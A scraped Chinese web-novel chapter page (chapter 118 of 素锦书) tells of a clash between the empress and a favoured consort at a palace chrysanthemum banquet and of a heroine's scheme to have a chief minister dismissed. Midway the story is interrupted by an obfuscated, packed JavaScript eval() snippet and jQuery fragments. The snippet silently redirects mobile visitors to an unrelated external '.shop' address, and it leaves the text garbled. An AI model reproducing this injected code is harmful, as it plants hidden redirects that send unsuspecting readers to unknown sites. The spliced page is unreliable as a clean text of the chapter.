文趣网 > 其他小说 > 素锦书 > 118. 第118章 定风波·十七
    宫中八月举办赏菊会,皇后身为中宫自然要吩咐六尚提前在御苑备下观赏的菊花,领着宫妃命妇们于临水阁处观赏开得繁盛、五颜六色的珍稀菊花。

    宫妃女眷都穿戴的霞帔宫裙,犹如烟霞般颜色瑰丽多姿,命妇们也坐在一旁不时阿谀几句皇后和宫妃,苏缦一袭湖蓝宫裙,黛粉霞帔,朱红的丝绦垂系身前,今日梳的是流苏髻,珍珠贴额,葚玉伴在她身侧搀扶着她经过小桥往临水阁中而去。

    小桥、亭廊处尽是各色菊花镶满,无处不生动芳香。

    苏缦见了何贤妃和朱充仪,便自然地同她们坐到一处的茵席上观赏,王美人和俞德妃也随后而至,尚美人小杨美人则是艳丽妩媚地行了过来,身后便是长平郡君。

    长平郡君颇为讨好地同尚杨美人说话着过来,皇后看向她们嗤笑几声,一下子气氛便僵了许多,引来正在肆意说笑的尚美人和小杨美人的注目。

    尚美人扭着腰过来故意露出脚上的乐晕锦珍珠镶嵌的鞋子,一旁小杨美人也侧目而视,“赶明儿,我也要向官家要一双这样的鞋子——”

    尚美人得意道:“可不是我提的,官家用价值千金的料子为我做鞋,我是推脱不了才——接受下来。”

    乐晕锦珍贵,且只能为王族所用,一匹千金,居高不下。

    皇后果然瞬间转了面色,忿恨升上眉梢,对尚美人道:“脱下来——你这个宫婢出身的人,怎配穿?”

    一时之间,在场的众人大气不敢喘一下,都早听闻尚美人小杨美人与皇后有隙的事,说到底宫妃们总有新宠,皇后娘娘总和这些新宠过不去,一时倒显得所有心思都在妇人的弯弯绕绕上。

    于夫人们来说见不得尚杨嚣张的模样为皇后暗中叫好,落在朝臣心中却多的是颇为失德。

    尚美人不仅不听反倒驳斥,“娘娘,这是官家亲自命人为我制成的,臣妾不得不穿,便只好不听娘娘听官家了。”

    说着,尚美人还掩唇和小杨美人相视一笑,小杨美人对之前皇后丢掷琉璃盏砸她心中忿恨,乐得见她的笑话。

    皇后当即对身边的秦尚宫道:“你去——将她的鞋脱下来,丢到湖里去——”

    秦尚宫自然是听从皇后的,抬手吩咐几个宫女在众人面前将尚美人推倒按住,抽出她的鞋子扔到了湖中去,尚美人光着脚,抬手就去打那些以下犯上的‘贱婢’,眼见尚美人就要冲到皇后面前,秦尚宫拦在她身前,尚美人偏还不依不饶地径直跪在地上脱下宫女的鞋朝皇后脸上丢掷过去。

    俞德妃都惊地坐起来,王美人一向沉稳淡定的面庞也隐隐诧异,皇后头上的凤钗没躲过,直接被砸落跌在地上,一场好好的赏菊会半途而止,皇后的脸盛怒萦绕,在俞德妃和王美人的簇拥和秦尚宫的掩护下被带至帘席后头躲避。

    尚美人的泼辣劲今天直接给在场的众人刷新了目光,尚美人出身屠户家入宫当普通宫女,而小杨美人出身优伶,是个原先老宫女买的私身,不是正经宫女,在内东门司行了方便就进来干活了,她们从未学过规矩,也不懂规矩,一朝得势,更是尊卑不分。

    随即,薛宫正被叫了过来,毕竟尚杨二位美人是主子,不同一般的宫婢女官,只能被请了回去自己阁中。

    帘席之后的皇后自然也没脸再继续下去赏菊会,苏缦眼中略滑过一抹惊异随后是平静,皇后之怒可以体谅,但尚美人这样的性子,皇后不免因为她失了体面。

    君子之怒,血溅高堂,庶民之怒,血流千里,身为皇后,无论如何,都不可与尚美人做缠斗。

    皇后这头往坤宁宫去,边走便问秦尚宫,“那些命妇可安抚送出宫去了?”

    秦尚宫点头道:“娘娘放心——都安抚过了,不会让今日的事流传出宫外去。”

    皇后攥紧手掌,指尖都发白,面上怨怒丛生,“本宫——要杀了那两个贱婢!那个长平郡君也是个吃里扒外!传我的旨,让她抄写女诫——”

    秦尚宫安抚道:“是、是,娘娘,您先缓口气,从长计议——”

    一旁的俞德妃也道:“娘娘,尚美人行事如此泼辣,大娘娘不会坐视不管的。”

    皇后扭头冷视一眼俞德妃,“呦——德妃,本宫还以为你已经病得人就差一口气了,没想到本宫禁足,你倒是勾引起了官家,如今更是能挺着身子同官家翻云覆雨,改日,你要是一朝诞下皇子,本宫是不是要将皇后宝册转让给你,自请同杨鱼藻一样出宫修道?”

    皇后的话直白粗俗,俞德妃却也只是默默垂下眼帘,“娘娘知道,臣妾一直是站在娘娘这里的,之前臣妾的确病得严重,后来家中兄长为臣妾寻到了药彻底根治,又想着娘娘被禁足,宫中添了新人,于娘娘不利,这才服药承了宠。”

    皇后冷哼一声,“本宫告诉你,本宫平生最最厌恶的,便是靠近官家的女人,少时,张美人还没有择选入宫,他最喜欢的,便是读完书后和我一起在这宫苑四处游玩,我们一起放风筝、爬树,张氏那个贱人,不明不白地死了也是活该,谁让她非要比本宫更得官家喜欢,即便我们少时就认识,倘若你要争官家,本宫不会顾念一丝情分——”

    俞德妃低眉顺眼道:“怎会?臣妾只是希望帮到娘娘。”

    皇后又是一声冷笑,面上舒缓不少,“这些年我倚仗大娘娘,却始终不曾生下孩子过,张美人死后如今他更是不来我这里,大娘娘的心思,本宫也不是全然不清楚,你是她的侄女,本宫却只是她的姻亲,德妃,本宫如何不忧虑?”

    俞德妃想到什么,便出声道:“臣妾对娘娘是忠心的,臣妾有一事禀告娘娘,听闻符忱符相公去了崇政殿,明面上是为了广南二路蛊毒之事,实际上却是想献自己的女儿同安郡主入宫。”

    皇后的脸上陡然狰狞,今日怒气叠加令她面容扭曲,“什么?一群贱人!本宫才解禁,就巴不得本宫不在皇后的位置上,符忱,好你个符忱——”

    俞德妃上前握住皇后的手道:“娘娘,臣妾愿替娘娘去宝慈宫,请太后娘娘为您出口气,将符忱罢职以示惩戒。”

    皇后眼中终于流露些许信赖之意,后悔道:“婉宁,本宫知道,你还记得我们旧时交好的情意,本宫不能被废后,本宫不能——一切便有劳你了。”

    俞德妃扶着显露脆弱的皇后点头道:“娘娘放心,臣妾是站在您这里的。”

    说话间,俞德妃的唇角上扬一丝不易见的弧度,眼中的光亮越发幽微不明。

    *<

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17780141|203665||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    /p>

    苏缦正拿着绣样穿针引线,入宫后自从赵祉让她改绣雪芙蓉香囊之后,她便再也没绣过任何关于香椽的绣品,眼下绣的是鸳鸯,不过她脑中仍然盘旋今日赏菊宴后的处理结果。

    赵祉并未惩罚尚美人小杨美人,反而令薛宫正声明是皇后先命人夺走尚美人的鞋子丢入湖中,这才尚美人向皇后丢掷鞋子。

    太后宝慈宫那头还有不满,赵祉最终只是让尚美人罚俸半年了事,这只会助长尚美人的嚣张气焰,皇后不为皇帝所喜更加展示于人家。

    今日的事太过震惊,即便秦尚宫让人叫命妇们闭了嘴不许说出去,宫中的妃嫔侍女又不是瞎的,哪里管得了人私下说了嘴去?

    皇后中途离去,苏缦和其他嫔妃命妇一样被请离了临水阁中,本来是皇后解禁后第一场自己亲自主持的宴会以此用来显示皇后凤仪,结果成为后妃互殴的笑料。

    夜已深,阁门开了,春泱熟捻地引了人进来,是薛义荣。

    他行至苏缦坐着的软榻面前,放下手中的袋子扎的物品,执手躬身道:“苏美人,这是官家让臣送过来给美人的东西。”

    苏缦微微颔首,春泱拎着薛义荣带过来的东西,将其取出来,苏缦拿在手中,是一幅画,苏缦扯开绳系,打开画卷,里头是过去她曾经在月下起舞的图景,衣着细节没有一丝偏差,落款处,是赵祉的飞白书所写‘长相思,摧心肝’六字。

    这定然不是庆慧公主所画的,只有她一个人,唯有月下树梢美人举手投足的曼妙之姿,送这样的画透着一种暧昧之气,当时庆慧公主后来所画的图送给皇帝之前,她看过,那是有他们三人的,彼时她是定王之人,庆慧公主哪里会只画她一个人的画送给皇帝。

    只知赵祉的字写得极好,还不知他能作画。

    春泱从里头取出仅剩的一卷书,苏缦翻看一看,是曲谱,那日曲随意、舞也随意,原来赵祉特意将它谱了出来,苏缦阖上曲谱,对薛义荣淡笑道:“烦请你替我同官家问好,我也思念他。”

    薛义荣垂首轻点,眸光沉稳如水,稍迟片刻出声道:“娘子的计策已经有的效果,明日太后娘娘将会罢相符忱。”

    苏缦轻点一点头,“那便好——但愿事情能如官家和我所料顺利进行。”

    薛义荣便执手礼退了出去,春泱小心地送他往外头,薛义荣的背影隐没在夜色之下,显得悄无声息。

    春泱回来后,苏缦便将这两件东西交给春泱好好保管。

    待春泱在外间的小榻守着安睡时,苏缦转首看向案几上的罩纱灯笼,符忱和蔺夫人想将绿绮嫁出去,她以此为引,反利用他们,符忱便想着有个当女儿的皇后仕途无忧,哪怕日后官家太后谁输谁赢都能首鼠两端,可太后不会允许站在她这里的人借助入宫为妃染指她本来掌控得好好的后宫。

    他不敢向太后表露,便私下找赵祉来谈,事情成功泄露给皇后,太后只允许目前外戚只俞家为尊,其他人胆敢冒犯,即便是自己的心腹,也要略施薄惩。

    所为,不过是将自己提拔他当丞相,又让他没有丞相之位,这样,面上中立实则心中偏向官家的徐淮中便可以上位。

    苏缦打开罩纱,吹灭了灯笼,满室静黯。